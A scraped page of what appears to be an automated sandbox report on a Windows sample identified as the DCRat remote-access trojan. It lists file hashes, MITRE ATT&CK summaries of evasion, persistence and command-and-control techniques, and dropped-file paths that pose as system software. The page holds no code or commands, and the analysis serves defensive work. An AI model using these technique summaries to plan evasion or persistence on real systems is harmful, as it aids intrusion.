String ID:
API String ID:
Opcode ID: ac7a1329a316df95cc09e4671272a661e2f9cbb4893fecbdc5abc1eec89c8701
Instruction ID: 0a0e0037bd0b8114cf3a85d6e1cad56e7e03c2c3fe02127e72799d39a5fb1cba
Opcode Fuzzy Hash: ac7a1329a316df95cc09e4671272a661e2f9cbb4893fecbdc5abc1eec89c8701
Instruction Fuzzy Hash: 12C01230D21A4E8ADB58EB90A8214FDB360FF48204F411462E42CA3092EE3026108680

Uniqueness

Uniqueness Score: -1.00%

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically may require being a member of an admin or otherwise privileged group on the remote system.
Tactics:	Execution, Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Container: Container Creation, File: File Creation, File: File Modification, Process: Process Creation, Scheduled Job: Scheduled Job Creation
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report 13ZNp2xvRU.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: DCRat

Yara Signatures

Memory Dumps

Sigma Signatures

System Summary

Persistence and Installation Behavior

Snort Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Networking

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Program Files (x86)\Google\Update\4ed18479ee5d61

C:\Program Files (x86)\Google\Update\RRVGfHJzvQMYfWe.exe

C:\Program Files (x86)\Google\Update\RRVGfHJzvQMYfWe.exe:Zone.Identifier

C:\Program Files (x86)\Java\4ed18479ee5d61

C:\Program Files (x86)\Java\RRVGfHJzvQMYfWe.exe

C:\Program Files (x86)\Java\RRVGfHJzvQMYfWe.exe:Zone.Identifier

C:\ProgramData\2afe4ed40d5a86

C:\ProgramData\smartscreen.exe

C:\ProgramData\smartscreen.exe:Zone.Identifier

C:\Recovery\4ed18479ee5d61

C:\Recovery\RRVGfHJzvQMYfWe.exe

C:\Recovery\RRVGfHJzvQMYfWe.exe:Zone.Identifier

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\13ZNp2xvRU.exe.log

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\RRVGfHJzvQMYfWe.exe.log

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\Registry.exe.log

Windows Analysis Report
13ZNp2xvRU.exe